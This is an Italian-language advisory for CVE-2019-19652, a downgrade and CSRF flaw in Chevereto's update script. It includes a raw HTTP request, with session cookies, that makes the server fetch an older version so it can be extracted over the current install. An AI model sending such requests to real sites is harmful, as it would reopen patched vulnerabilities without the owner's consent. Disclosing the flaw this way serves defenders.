CVE-2019-19652

Attacco di downgrade a Chevereto - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. Un utente admin può istruire lo script di aggiornamento per effettuare un downgrade a un'altra versione invece di un upgrade, reintroducendo vulnerabilità precedenti. A causa della mancanza di un token CSRF, questo attacco può essere utilizzato anche in un attacco CSRF, il che significa che un utente admin può essere indotto a eseguire questa azione.

Un utente admin può dire allo script di aggiornamento di scaricare qualsiasi versione, anche versioni vecchie

Il server restituirà il nome completo del file scaricato, che verrà poi utilizzato nella richiesta successiva

GET /update/?action=download&version=3.13.4 HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1

CVE-2019-19652

Più Popolari

E poi semplicemente estrarlo sopra la versione corrente, rendendola potenzialmente vulnerabile a vecchie vulnerabilità